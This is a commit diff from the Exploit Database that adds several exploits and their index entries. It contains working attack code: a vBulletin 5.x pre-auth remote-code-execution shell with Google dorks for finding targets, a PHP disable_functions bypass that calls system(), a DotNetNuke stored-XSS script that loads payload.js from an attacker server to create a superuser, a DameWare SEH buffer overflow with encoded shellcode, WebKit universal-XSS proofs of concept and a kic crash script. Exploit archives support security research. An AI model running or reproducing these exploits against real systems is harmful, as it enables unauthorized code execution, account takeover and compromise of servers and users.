DB: 2019-10-02

9 changes to exploits/shellcodes

kic 2.4a - Denial of Service
WebKit - UXSS Using JavaScript: URI and Synchronous Page Loads
WebKit - Universal XSS in WebCore::command
WebKit - User-agent Shadow root Leak in WebCore::ReplacementFragment::ReplacementFragment
WebKit - Universal XSS Using Cached Pages

DameWare Remote Support 12.1.0.34 - Buffer Overflow (SEH)
vBulletin 5 - 'routestring' Remote Code Execution
vBulletin 5 - 'cacheTemplates' Remote Arbitrary File Deletion
vBulletin 5.x - 'routestring' Remote Code Execution
vBulletin 5.x - 'cacheTemplates' Remote Arbitrary File Deletion
PHP 7.1 < 7.3 - disable_functions Bypass
vBulletin 5.0 < 5.5.4 - Unauthenticated Remote Code Execution
DotNetNuke < 9.4.0 - Cross-Site Scripting
This commit is contained in:
Offensive Security 2019-10-02 05:01:46 +00:00
parent 21c1b71372
commit 4eaf273757
10 changed files with 972 additions and 2 deletions

46
exploits/linux/dos/47445.py Executable file
View file

@ -0,0 +1,46 @@
# Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow
# Date: September 30, 2019
# Exploit Author: @JosueEncinar
# Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1
# Version: 2.4a
# Tested on: Ubuntu 18.04
'''
If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;.
In line 84 we have the problem with the following instruction: strcpy(CIFFile,argv[1]);
If the first argument is 80 characters or less, nothing happens, but if we put from 81 onwards the program fails with a Buffer Overflow.
'''
# To test the code use Python 3.6+
from os import system
from sys import argv
def print_usage():
print("Usage: python3 ciftokic_overflow.py <characters_numbers>")
print(" |_No Buffer Overflow: python3 ciftokic_overflow.py 80")
print(" |_Buffer Overflow: python3 ciftokic_overflow.py 81")
if len(argv) == 1:
print_usage()
else:
try:
number = int(argv[1])
payload = "J"*number
system(f"ciftokic {payload}")
except:
print_usage()
"""
Output Example:
josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 80
Error: can't read CIF input file JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 81
*** buffer overflow detected ***: ciftokic terminated
Aborted (core dumped)
"""

View file

@ -0,0 +1,150 @@
VULNERABILITY DETAILS
```
void DocumentWriter::replaceDocument(const String& source, Document* ownerDocument)
{
[...]
begin(m_frame->document()->url(), true, ownerDocument); // ***1***
// begin() might fire an unload event, which will result in a situation where no new document has been attached,
// and the old document has been detached. Therefore, bail out if no document is attached.
if (!m_frame->document())
return;
if (!source.isNull()) {
if (!m_hasReceivedSomeData) {
m_hasReceivedSomeData = true;
m_frame->document()->setCompatibilityMode(DocumentCompatibilityMode::NoQuirksMode);
}
// FIXME: This should call DocumentParser::appendBytes instead of append
// to support RawDataDocumentParsers.
if (DocumentParser* parser = m_frame->document()->parser())
parser->append(source.impl()); // ***2***
}
```
```
bool DocumentWriter::begin(const URL& urlReference, bool dispatch, Document* ownerDocument)
{
[...]
bool shouldReuseDefaultView = m_frame->loader().stateMachine().isDisplayingInitialEmptyDocument() && m_frame->document()->isSecureTransitionTo(url); // ***3***
if (shouldReuseDefaultView)
document->takeDOMWindowFrom(*m_frame->document());
else
document->createDOMWindow();
// Per <http://www.w3.org/TR/upgrade-insecure-requests/>, we need to retain an ongoing set of upgraded
// requests in new navigation contexts. Although this information is present when we construct the
// Document object, it is discard in the subsequent 'clear' statements below. So, we must capture it
// so we can restore it.
HashSet<SecurityOriginData> insecureNavigationRequestsToUpgrade;
if (auto* existingDocument = m_frame->document())
insecureNavigationRequestsToUpgrade = existingDocument->contentSecurityPolicy()->takeNavigationRequestsToUpgrade();
m_frame->loader().clear(document.ptr(), !shouldReuseDefaultView, !shouldReuseDefaultView);
clear();
// m_frame->loader().clear() might fire unload event which could remove the view of the document.
// Bail out if document has no view.
if (!document->view())
return false;
if (!shouldReuseDefaultView)
m_frame->script().updatePlatformScriptObjects();
m_frame->loader().setOutgoingReferrer(url);
m_frame->setDocument(document.copyRef());
[...]
m_frame->loader().didBeginDocument(dispatch); // ***4***
document->implicitOpen();
[...]
```
`DocumentWriter::replaceDocument` is responsible for replacing the currently displayed document with
a new one using the result of evaluating a javascript: URI as the document's source. The method
calls `DocumentWriter::begin`[1], which might trigger JavaScript execution, and then sends data to
the parser of the active document[2]. If an attacker can perform another page load right before
returning from `begin` , the method will append an attacker-controlled string to a potentially
cross-origin document.
Under normal conditions, a javascript: URI load always makes `begin` associate the new document with
a new DOMWindow object. However, it's actually possible to meet the requirements of the
`shouldReuseDefaultView` check[3]. Firstly, the attacker needs to initialize the <iframe> element's
source URI to a sane value before it's inserted into the document. This will set the frame state to
`DisplayingInitialEmptyDocumentPostCommit`. Then she has to call `open` on the frame's document
right after the insertion to stop the initial load and set the document URL to a value that can pass
the `isSecureTransitionTo` check.
When the window object is re-used, all event handlers defined for the window remain active. So, for
example, when `didBeginDocument`[4] calls `setReadyState` on the new document, it will trigger the
window's "readystatechange" handler. Since `NavigationDisabler` is not active at this point, it's
possible to perform a synchronous page load using the `showModalDialog` trick.
VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)
REPRODUCTION CASE
The attack won't work if the cross-origin document has no active parser by the time `begin` returns.
The easiest way to reproduce the bug is to call `document.write` from the victim page when the main
parsing task is complete. However, it's a rather artificial construct, so I've also attached another
test case, which works for regular pages, but it has to use a python script that emulates a slow web
server to run reliably.
```
<body>
<h1>Click to start</h1>
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}
function waitForLoad() {
showModalDialog(createURL(`
<script>
let it = setInterval(() => {
try {
opener.frame.contentDocument.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 2000);
</scrip` + 't>'));
}
window.onclick = () => {
frame = document.createElement('iframe');
frame.src = location;
document.body.appendChild(frame);
frame.contentDocument.open();
frame.contentDocument.onreadystatechange = () => {
frame.contentWindow.addEventListener('readystatechange', () => {
a = frame.contentDocument.createElement('a');
a.href = victim_url;
a.click();
waitForLoad();
}, {capture: true, once: true});
}
frame.src = 'javascript:"<script>alert(document.documentElement.outerHTML)</scr' + 'ipt>"';
}
victim_url = 'data:text/html,<script>setTimeout(() => document.write("secret data"), 1000)</scr' + 'ipt>';
ext = document.body.appendChild(document.createElement('iframe'));
ext.src = victim_url;
</script>
</body>
```
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47450.zip

View file

@ -0,0 +1,146 @@
<!--
VULNERABILITY DETAILS
```
static Editor::Command command(Document* document, const String& commandName, bool userInterface = false)
{
RefPtr<Frame> frame = document->frame();
if (!frame || frame->document() != document) // ***1***
return Editor::Command();
document->updateStyleIfNeeded(); // ***2***
return frame->editor().command(commandName,
userInterface ? CommandFromDOMWithUserInterface : CommandFromDOM);
}
bool Document::execCommand(const String& commandName, bool userInterface, const String& value)
{
EventQueueScope eventQueueScope;
return command(this, commandName, userInterface).execute(value);
}
```
This bug is similar to https://bugs.chromium.org/p/project-zero/issues/detail?id=1133. `command`
calls `updateStyleIfNeeded`[2], which might trigger JavaScript execution, e.g., via
`HTMLObjectElement::updateWidget`. If the JS code triggers a new page load, the editor command will
be applied to the wrong page. The method checks that the `document` argument is the document that's
currently displayed on the page, but it does so *before* the `updateStyleIfNeeded` call. An attacker
can exploit this bug to execute the "InsertHTML" command and run JavaScript in the context of the
victim page.
VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)
REPRODUCTION CASE
The test case requires the victim page to have a selected element when the load is complete. A
common suitable case is when the page contains an autofocused <input> element.
```
<body>
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}
function waitForLoad() {
showModalDialog(createURL(`
<script>
let it = setInterval(() => {
try {
opener.w.document.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 100);
</scrip` + 't>'));
}
victim_url = 'https://trac.webkit.org/search';
cache_frame = document.body.appendChild(document.createElement('iframe'));
cache_frame.src = victim_url;
cache_frame.style.display = 'none';
onclick = () => {
w = open();
obj = document.createElement('object');
obj.data = 'about:blank';
obj.addEventListener('load', function() {
a = w.document.createElement('a');
a.href = victim_url;
a.click();
waitForLoad();
});
w.document.body.appendChild(obj);
w.document.execCommand('insertHTML', false,
'<iframe onload="alert(document.documentElement.outerHTML)" src="about:blank"></iframe>');
}
</script>
</body>
```
repro_iframe.html contains a version that uses an <iframe> instead of a new window and works in
Safari 12.1.1.
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
-->
<body>
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}
function waitForLoad() {
showModalDialog(createURL(`
<script>
let it = setInterval(() => {
try {
opener.w.document.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 100);
</scrip` + 't>'));
}
victim_url = 'data:text/html,<h1>secret data</h1><input autofocus>';
cache_frame = document.body.appendChild(document.createElement('iframe'));
cache_frame.src = victim_url;
cache_frame.style.display = 'none';
victim_frame = document.body.appendChild(document.createElement('iframe'));
victim_frame.style.width = victim_frame.style.height = '100%';
victim_frame.contentDocument.write('<h1>click to start</h1>');
victim_frame.contentWindow.onclick = (() => {
obj = document.createElement('object');
obj.data = 'about:blank';
obj.addEventListener('load', function() {
a = victim_frame.contentDocument.createElement('a');
a.href = victim_url;
a.click();
waitForLoad();
});
victim_frame.contentDocument.body.appendChild(obj);
victim_frame.contentDocument.execCommand('insertHTML', false,
'<iframe onload="alert(document.firstChild.outerHTML)" src="about:blank"></iframe>');
});
</script>
</body>

View file

@ -0,0 +1,93 @@
<!--
VULNERABILITY DETAILS
editing/ReplaceSelectionCommnd.cpp:
```
Ref<HTMLElement> ReplacementFragment::insertFragmentForTestRendering(Node* rootEditableElement)
{
auto holder = createDefaultParagraphElement(document());
holder->appendChild(*m_fragment);
rootEditableElement->appendChild(holder); // ***2***
document().updateLayoutIgnorePendingStylesheets();
return holder;
}
[...]
ReplacementFragment::ReplacementFragment(Document& document, DocumentFragment* fragment, const VisibleSelection& selection)
: m_document(&document)
, m_fragment(fragment)
, m_hasInterchangeNewlineAtStart(false)
, m_hasInterchangeNewlineAtEnd(false)
{
if (!m_fragment)
return;
if (!m_fragment->firstChild())
return;
RefPtr<Element> editableRoot = selection.rootEditableElement(); // ***1***
ASSERT(editableRoot);
if (!editableRoot)
return;
[...]
RefPtr<StyledElement> holder = insertFragmentForTestRendering(editableRoot.get());
```
html/shadow/SliderThumbElement.cpp
```
RefPtr<HTMLInputElement> SliderThumbElement::hostInput() const
{
// Only HTMLInputElement creates SliderThumbElement instances as its shadow nodes.
// So, shadowHost() must be an HTMLInputElement.
return downcast<HTMLInputElement>(shadowHost()); // ***3***
}
```
I noticed this behavior when I was debugging the test case for
https://bugs.webkit.org/show_bug.cgi?id=199146. When the currently focused element is an <input>,
`selection.rootEditableElement()` in [1] might point to a node inside the <input>'s user-agent
shadow DOM tree. Then `insertFragmentForTestRendering` is called, which might have side effects,
e.g., if the inserted fragment contains an <iframe> element its "onload" handler will be called
synchronously, and it's possible to reach the user-agent shadow root object by following the
ancestor chain from the <iframe>.
When an attacker has access to the shadow root, she can use it to leak other elements that are only
intended for internal use and have less strict security checks. For example, `SliderThumbElement`
doesn't check that its host element is an <iframe> in [3], so the attacker can turn this bug into a
type confusion vulnerability.
VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)
REPRODUCTION CASE
-->
<body>
<script>
input = document.body.appendChild(document.createElement('input'));
input.focus();
handler = event => {
shadow_root = event.target.parentNode.parentNode.parentNode;
input.type = 'range';
elt = shadow_root.firstChild.firstChild.firstChild;
input.remove();
elt.remove();
evt = new MouseEvent('mouseup');
div = document.createElement('div');
new_shadow_root = div.attachShadow({mode: 'open'});
new_shadow_root.appendChild(elt);
elt.dispatchEvent(evt);
}
document.execCommand('insertHTML', false, '<iframe src="about:blank" onload="handler(event)"></iframe>');
</script>
</body>
<!--
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
-->

View file

@ -0,0 +1,67 @@
VULNERABILITY DETAILS
```
void FrameLoader::detachChildren()
{
[...]
SubframeLoadingDisabler subframeLoadingDisabler(m_frame.document()); // ***1***
Vector<Ref<Frame>, 16> childrenToDetach;
childrenToDetach.reserveInitialCapacity(m_frame.tree().childCount());
for (Frame* child = m_frame.tree().lastChild(); child; child = child->tree().previousSibling())
childrenToDetach.uncheckedAppend(*child);
for (auto& child : childrenToDetach)
child->loader().detachFromParent();
}
```
When a cached page is being restored, and the page that's being navigated away is not cacheable,
there exists a time frame during which two documents are attached to the same frame. If an attacker
finds a way to run JS during this time frame, she will be able to use one of the documents to
execute JavaScript in the context of the other one.
One possible call stack that might lead to JS execution is:
```
a child frame's unload handler
...
ContainerNode::disconnectDescendantFrames()
Document::prepareForDestruction()
FrameLoader::clear()
FrameLoader::open()
```
By the time `FrameLoader::clear` is called, child frames are usually already disconnected from the
document via
```
FrameLoader::detachChildren()
FrameLoader::setDocumentLoader()
FrameLoader::transitionToCommitted()
```
However, the attacker can initiate a new page load inside `detachChildren` to bypass
`SubframeLoadingDisabler` and create a new child frame. Note that it won't cancel the cached page
load.
The attack has a restriction that significantly limits its applicability -- a victim page should
load a (potentially sandboxed) <iframe> with attacker-controlled content, so the attacker's JS has
a chance to run inside `Document::prepareForDestruction`. This is the case, for example, for online
translators.
VERSION
WebKit revision 246194
It's unclear whether the bug is exploitable in Safari 12.1.1. The repro case seem to have an issue
with a nested `showModalDialog` call.
REPRODUCTION CASE
The test case again relies on `showModalDialog` to perform synchronous page loads. Moreover, the
code is wrapped inside a `showModalDialog` call to keep a user gesture token active throughout its
execution.
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47453.zip

View file

@ -0,0 +1,253 @@
<?php
$cmd = "id";
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
public static $leak;
}
class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
# unable to leak ro segments
public function leak1($addr) {
global $spl1;
$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}
# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;
# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);
$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);
if($p_type == 0x6474e552) { # PT_GNU_RELRO
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();
$_protector = $this->ptr2str(0, 78);
$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000
if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}
$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();
# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;
# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry
# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}
# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}
# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;
$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}
# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}
# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}
# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
$spl1->offsetGet($cmd);
exit();
}
}
$y = [new Z()];
json_encode([&$y]);

View file

@ -0,0 +1,124 @@
# Exploit Title: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0
# Exploit Description : This exploit will add a superuser to target DNN website.
# Exploit Condition : Successful exploitation occurs when an admin user visits a notification page.
# Exploit Author: MAYASEVEN
# CVE : CVE-2019-12562 (https://www.cvedetails.com/cve/CVE-2019-12562/)
# Github : https://github.com/MAYASEVEN/CVE-2019-12562
# Website : https://mayaseven.com
import urllib.request
from bs4 import BeautifulSoup
####################################################################################################
################################## Config the variables here #######################################
####################################################################################################
TARGET_URL = "http://targetdomain/DotNetNuke"
USERNAME = "MAYASEVEN" # At least five characters long
PASSWORD = "P@ssw0rd" # At least 0 non-alphanumeric characters, At least 7 characters
EMAIL = "research@mayaseven.com" # Change email to any you want
# A web server for listening an event
LISTEN_URL = "http://yourdomain.com:1337"
#####################################################################################################
#####################################################################################################
#####################################################################################################
# Payload to add a superuser to website
PAYLOAD = "John<script src='"+LISTEN_URL+"/payload.js'></script>"
FILE_CONTENT = """var token = document.getElementsByName("__RequestVerificationToken")[0].value;
var xhttp = new XMLHttpRequest();
var params = "{'firstName':'"""+USERNAME+"""','lastName':'"""+USERNAME+"""','email':'"""+EMAIL+"""','userName':'"""+USERNAME+"""','password':'"""+PASSWORD+"""','question':'','answer':'','randomPassword':false,'authorize':true,'notify':false}";
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var returnhttp1 = new XMLHttpRequest();
returnhttp1.open("GET", '"""+LISTEN_URL+"""/Added_the_user');
returnhttp1.send();
var xhttp2 = new XMLHttpRequest();
var userId = JSON.parse(xhttp.responseText).userId;
xhttp2.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var returnhttp2 = new XMLHttpRequest();
returnhttp2.open("GET", '"""+LISTEN_URL+"""/Make_superuser_success');
returnhttp2.send();
}
}
xhttp2.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/UpdateSuperUserStatus?userId='+userId+'&setSuperUser=true', true);
xhttp2.setRequestHeader('Content-type', 'application/json; charset=UTF-8');
xhttp2.setRequestHeader('RequestVerificationToken', token);
xhttp2.send(params);
}
};
xhttp.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/CreateUser', true);
xhttp.setRequestHeader('Content-type', 'application/json; charset=UTF-8');
xhttp.setRequestHeader('RequestVerificationToken', token);
xhttp.send(params);
"""
def create_payload():
# Create a payload.js file
f = open("payload.js", "w")
f.write(FILE_CONTENT)
f.close()
def check_target():
global regpage
reg = urllib.request.urlopen(TARGET_URL+"/Register")
regpage = reg.read().decode("utf8")
reg.close()
if "dnn" in regpage:
return True
else: return False
def exploit():
# Fetching parameter from regpage
soup = BeautifulSoup(regpage, 'html.parser')
formhtml = soup.find("div", {"id": "dnn_ctr_Register_userForm"})
inputdata = BeautifulSoup(regpage, 'html.parser').findAll("input")
param = {}
print(" [+] Fetching DNN random parameter name.")
for i in soup.select('input[name*="_TextBox"]'):
print(" [+]", i["aria-label"],":", i["name"])
param[i["aria-label"]] = i["name"]
ScriptManager = "dnn$ctr$Register_UP|dnn$ctr$Register$registerButton"
__EVENTVALIDATION = soup.find("input", {"id": "__EVENTVALIDATION"})["value"]
__VIEWSTATE = soup.find("input", {"id": "__VIEWSTATE"})["value"]
__EVENTTARGET = "dnn$ctr$Register$registerButton"
# Posting data to target
headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8'}
data = {'ScriptManager': ScriptManager, '__EVENTVALIDATION': __EVENTVALIDATION, '__VIEWSTATE': __VIEWSTATE, '__EVENTTARGET': __EVENTTARGET,
param['Username']: "dummy_"+USERNAME, param["Password"]: PASSWORD, param["PasswordConfirm"]: PASSWORD, param["DisplayName"]: PAYLOAD, "dummy_"+param["Email"]: EMAIL, '__ASYNCPOST': 'true'}
data = urllib.parse.urlencode(data).encode()
req = urllib.request.Request(TARGET_URL+"/Register", data=data, headers=headers)
response = urllib.request.urlopen(req)
if "An email with your details has been sent to the Site Administrator" in response.read().decode("utf8"):
create_payload()
return True
elif "A user already exists" in response.read().decode("utf8"):
print(" [!] The user already exists")
return False
elif "The Display Name is invalid." in response.read().decode("utf8"):
print(" [!] DotNetNuke verion already been patched")
else: return False
def main():
print("[ Checking the target ]")
if(check_target()):
print(" [+] Target is DNN website.")
print(" [+] URL: %s" % TARGET_URL)
else:
print(" [!] Target is not DNN website and exploit will not working.")
return
print("[ Running an exploit ]")
if(exploit()):
print("[ Successful exploited the target ]")
print("> Creating a payload.js file in current directory.")
print("> You have to serve the web server and place payload.js on it.")
print("> And waiting admin to open a notification then the user will be added.")
print("> Username: %s" % USERNAME)
print("> Password: %s" % PASSWORD)
else:
print(" [!] Failed to exploit the target.")
return
if(__name__ == "__main__"):
main()

31
exploits/php/webapps/47447.py Executable file
View file

@ -0,0 +1,31 @@
#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
#
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"
import requests
import sys
if len(sys.argv) != 2:
sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])
params = {"routestring":"ajax/render/widget_php"}
while True:
try:
cmd = raw_input("vBulletin$ ")
params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
r = requests.post(url = sys.argv[1], data = params)
if r.status_code == 200:
print r.text
else:
sys.exit("Exploit failed! :(")
except KeyboardInterrupt:
sys.exit("\nClosing shell...")
except Exception, e:
sys.exit(str(e))

51
exploits/windows/local/47444.py Executable file
View file

@ -0,0 +1,51 @@
#!/usr/bin/env python
# Author: Xavi Beltran
# Contact: xavibeltran@protonmail.com
# Exploit Development: https://xavibel.com/2019/08/31/seh-based-local-buffer-overflow-dameware-remote-support-v-12-1-0-34/
# Date: 14/7/2019
# Description:
# SEH based Buffer Overflow
# DameWare Remote Support V. 12.1.0.34
# Tools >> Computer Comments >> Description
# msf-pattern_offset -q "37694136" -l 5000
# [*] Exact match at offset 260
junk1 = "\x41" * 260
# Unicode compatible padding
nseh = "\x61\x43"
# 0x007a0021 : pop esi # pop edi # ret
# startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [DNTU.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v12.1.0.34 (C:\Program Files\SolarWinds\DameWare Remote Support\DNTU.exe)
seh = "\x21\x7a"
# Put shellcode memory address in EAX, push it to the stack and RETN
# 20 bytes
align = ""
align += "\x43" * 10 # Padding
align += "\x58" # POP EAX
align += "\x73" # Venetian padding
# 0012F590 83C0 50 ADD EAX,50
align += u"\uC083" + "\x50" # ADD EAX, 50
align += "\x73" # Venetian padding
align += "\x50" # PUSH EAX
align += "\x73" # Venetian padding
align += u'\uC3C3' # RETN
# 1348
junk2 = "\x43" * 18
# 7FFDD066 + 2 memory address contains the value FFFF0000
# This value is going to be placed in EBX
# And it doesn't break the execution flow
junk3 = "\x44" * 550 + u"\uD066" + u"\u7FFD" # u"\xF0FF"
# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw
# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"
crash = junk1 + nseh + seh + align + junk2 + shellcode + junk3
print(crash)

View file

@ -6564,6 +6564,11 @@ id,file,description,date,author,type,platform,port
47414,exploits/windows/dos/47414.txt,"Microsoft Windows cryptoapi - SymCrypt Modular Inverse Algorithm Denial of Service",2019-09-24,"Google Security Research",dos,windows,
47415,exploits/ios/dos/47415.txt,"iMessage - Decoding NSSharedKeyDictionary Can Read Object Out of Bounds",2019-09-24,"Google Security Research",dos,ios,
47418,exploits/windows/dos/47418.txt,"SpotIE Internet Explorer Password Recovery 2.9.5 - 'Key' Denial of Service",2019-09-25,"Emilio Revelo",dos,windows,
47445,exploits/linux/dos/47445.py,"kic 2.4a - Denial of Service",2019-10-01,JosueEncinar,dos,linux,
47450,exploits/multiple/dos/47450.txt,"WebKit - UXSS Using JavaScript: URI and Synchronous Page Loads",2019-10-01,"Google Security Research",dos,multiple,
47451,exploits/multiple/dos/47451.html,"WebKit - Universal XSS in WebCore::command",2019-10-01,"Google Security Research",dos,multiple,
47452,exploits/multiple/dos/47452.html,"WebKit - User-agent Shadow root Leak in WebCore::ReplacementFragment::ReplacementFragment",2019-10-01,"Google Security Research",dos,multiple,
47453,exploits/multiple/dos/47453.txt,"WebKit - Universal XSS Using Cached Pages",2019-10-01,"Google Security Research",dos,multiple,
